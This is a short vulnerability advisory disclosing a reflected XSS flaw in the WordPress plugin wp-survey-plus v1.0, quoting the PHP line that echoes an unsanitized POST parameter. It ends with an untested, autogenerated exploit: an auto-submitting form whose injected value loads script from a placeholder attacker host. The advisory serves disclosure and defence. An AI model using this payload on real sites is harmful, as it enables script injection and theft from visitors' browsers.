Advisory #: 1273
Title: Reflected XSS in wordpress plugin wp-survey-plus v1.0
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/wp-survey-plus
Downloads: 3102
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: wp-survey-plus
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./wp-survey-plus/includes/admin/getEditMultipleChoiceQuestionScreen.php: 35:<button class="btn btn-success" onclick="updateMultipleChoiceQuestion(<?php echo $_POST['question_id'];?>,<?php echo $question->survey_id;?>);"><?php _e('Update Question','wp-survey-plus');?></button> The variable question_id appears to send unsanitized data back to the users browser via POST request.
CVE-ID: Not Released
File:./wp-survey-plus/includes/admin/getEditMultipleChoiceQuestionScreen.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. XSS POST exploit modified from http://blog.portswigger.net/2007/03/exploiting-xss-in-post-requests.html
  3.  <form name=TheForm action=http://[target]/wp-content/plugins/wp-survey-plus/includes/admin/getEditMultipleChoiceQuestionScreen.php method=post> <input type=hidden name=question_id value=&quot;&gt;&lt;script&#32;src=http://attacker/bad.js&gt;&lt;/script&gt;> </form> <script> document.TheForm.submit(); </script>